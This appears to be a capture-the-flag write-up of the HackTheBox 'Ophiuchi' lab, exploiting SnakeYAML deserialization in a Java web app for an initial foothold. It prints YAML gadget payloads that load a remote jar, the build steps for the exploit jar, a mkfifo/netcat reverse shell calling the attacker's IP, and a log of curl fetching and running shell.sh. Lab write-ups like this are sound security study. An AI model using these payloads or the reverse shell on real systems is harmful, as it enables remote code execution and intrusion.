Java Deserialization


while there are many online resources available to learn more java deserialization attack, this source breaks down the Java deserialization attack that leverages the snakeyaml Java library.

This is the testing payload and I will get to the testing right away.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.url ["http://10.10.14.10/"]
  ]]
]

Sending in the testing payload while I host a web server on Kali This should test for SSRF through Java deserialization

The Kali web server got a hit from the target web app The target web application is confirmed the be vulnerable to Java deserialization

According to the author, the sneakyaml Java library has a feature that supports a special syntax allowing the constructor of any Java class to be called when parsing YAML data That is the reason why, upon parsing the payload, the sneakyaml Java library invoked the ScriptEngineManager constructor and make a request to my Kali web server

It requested PARTICULARY to access the endpoint, /META-INF/services/javax.script.ScriptEngineFactory, the my Kali web server responded with a 404 as it’s not available

Exploit


I found this exploit to be most reliable

Initial Failure


I had to modify the payload to invoke a reverse shell since it was just a PoC by default upon the sneakyaml java library requesting the endpoint to my kali web server, it should execute the commands above:

  • downloading a bash reverse shell; shell.sh
  • changing its permission bits to be executable
  • executing the reverse shell script
┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ javac src/artsploit/AwesomeScriptEngineFactory.java
picked up _java_options: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Compiling the exploit into a java class file

┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ jar -cvf yaml-payload.jar -C src/ .                
picked up _java_options: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1718) (out= 733)(deflated 57%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1639) (out= 432)(deflated 73%)

Packaging all together for delivery

While the Kali web server hosts both the packaged payload and the bash reverse shell, I can send in the payload The web application will fetch the packaged payload from the Kali web server and execute it, which then downloads the bash reverse shell for a foothold

The target web application definitely fetched the payload, but it doesn’t seem to have executed it as I do not see any additional log on my Kali web server

Looking at the web server response, the application failed to execute the packaged payload and sent in a bunch of error messages instead.

In the error message, it’s written in the Root Cause section that it has failed due to the version mismatch. the packaged payload contains a java class compiled with the class file format version 61.0 whereas the Java runtime that the web application uses in the backend recognizes versions up to the class file format version 55.0

┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ java --version                                     
picked up _java_options: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 17.0.5 2022-10-18
OpenJDK Runtime Environment (build 17.0.5+8-Debian-2)
OpenJDK 64-Bit Server VM (build 17.0.5+8-Debian-2, mixed mode, sharing)

Kali has openjdk 17.0.5, which DOES NOT support class file format version 55.0

Since I do not want to make changes to my current system by downgrading it, I will attempt to set up a Docker container for this.

Docker Exploit Development


┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ docker run -it --entrypoint "/bin/bash" --name ophiuchi ubuntu:20.04
root@1a065664c00c:~# apt update -y ; apt install net-tools netcat gcc gcc-multilib nano git wget -y
 
[...REDACTED...]

I first need to spin up a Docker image to start a container. Ubuntu is a good choice as it is the most generic flavor of Linux. Once inside, I need to update & install all the necessary tools.

root@1a065664c00c:~# apt install openjdk-11-jdk -y 
 
[...REDACTED...]

I can then proceed to install the openjdk-11-jdk package through apt According to Wikipedia, The openjdk-11-jdk package installs the Java SE 11, which has the class file version 55

root@1a065664c00c:~# java --version
openjdk 11.0.18 2023-01-17
OpenJDK Runtime Environment (build 11.0.18+10-post-Ubuntu-0ubuntu120.04.1)
OpenJDK 64-Bit Server VM (build 11.0.18+10-post-Ubuntu-0ubuntu120.04.1, mixed mode, sharing)

openjdk 11.0.18 is installed to the Docker container Everything is set. I just need to grab the exploit and go through the same process of compilation and packaging

root@1a065664c00c:~# git clone https://github.com/artsploit/yaml-payload.git ; cd yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Unpacking objects: 100% (10/10), 1.34 KiB | 229.00 KiB/s, done.

Download the exploit payload

root@1a065664c00c:~/yaml-payload# nano src/artsploit/AwesomeScriptEngineFactory.java 

Modify the exploit just like the initial attempt

root@1a065664c00c:~/yaml-payload# javac src/artsploit/AwesomeScriptEngineFactory.java ; jar -cvf yaml-payload.jar -C src/ .
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1632) (out= 435)(deflated 73%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1718) (out= 728)(deflated 57%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)

I then compiled the payload into a Java class file. The backend of the web app should now be able to execute it

Exploitation


root@1a065664c00c:~/yaml-payload# cd .. ; tar -czf yaml-payload.tar.gz yaml-payload
root@1a065664c00c:~# nc 172.17.0.1 2222 < yaml-payload.tar.gz 
 
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ nnc 2222 > yaml-payload.tar.gz                    
listening on [any] 2222 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 49912
 
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ tar -xf yaml-payload.tar.gz ; cd yaml-payload

I archived the whole directory and move it out of the Docker container, so that I can host the payload over the Kali web server along with a reverse shell payload

┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ cat shell.sh 
#!/bin/sh
mkfifo /tmp/ybwqpm; nc 10.10.14.10 9999 0</tmp/ybwqpm | /bin/sh >/tmp/ybwqpm 2>&1; rm /tmp/ybwqpm
 
┌──(kali㉿kali)-[~/archive/htb/labs/ophiuchi]
└─$ mv shell.sh yaml-payload

The reverse shell payload will be hosted from the Kali web server

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.url ["http://10.10.14.10:8000/yaml-payload.jar"]
  ]]
]

Delivering the payload

This time, the target web application fetched and executed the packaged payload, effectively triggering the reverse shell

┌──(kali㉿kali)-[~/…/htb/labs/ophiuchi/yaml-payload]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.227] 46572
whoami
tomcat
hostname
ophiuchi
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.227  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 dead:beef::250:56ff:feb9:3d0d  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:3d0d  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:3d:0d  txqueuelen 1000  (Ethernet)
        RX packets 397  bytes 52064 (52.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 77  bytes 14844 (14.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 6276  bytes 456064 (456.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6276  bytes 456064 (456.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

I got the shell Initial Foothold established to the target system as the tomcat user via Java deserialization attack.

the unstable command execution:


2023/01/06 15:37:33 CMD: UID=1001 PID=6779   | curl http://10.10.14.6:8000/shell.sh -o /var/tmp/shell.sh 
2023/01/06 15:37:33 CMD: UID=1001 PID=6781   | 
2023/01/06 15:37:51 CMD: UID=1001 PID=6791   | 
2023/01/06 15:37:51 CMD: UID=1001 PID=6790   | curl http://10.10.14.6:8000/shell.sh -o /var/tmp/shell.sh 
2023/01/06 15:37:51 CMD: UID=1001 PID=6792   | sh /var/tmp/shell.sh 
2023/01/06 15:37:51 CMD: UID=1001 PID=6794   | sh /var/tmp/shell.sh 
2023/01/06 15:37:51 CMD: UID=1001 PID=6796   | /bin/sh 
2023/01/06 15:37:51 CMD: UID=1001 PID=6795   | nc 10.10.14.6 9999 
2023/01/06 15:37:51 CMD: UID=1001 PID=6797   | rm /tmp/eivit 

It turns out that the 3 Java commands above were executing one at a time instead of running all 3 at once periodically

As can be seen from the PSPY log above, it initially executed the first command to download the bash reverse shell script and saved it to /var/tmp/shell.sh, but it stopped there instead of proceeding to the next command Upon sending another POST request, it then cycles through whole 3 commands this time (chmod command isn’t shown in the log because it doesn’t get logged)

I suspect that it’s probably because of the way curl handles the download in which delayed and halted the process from continuously running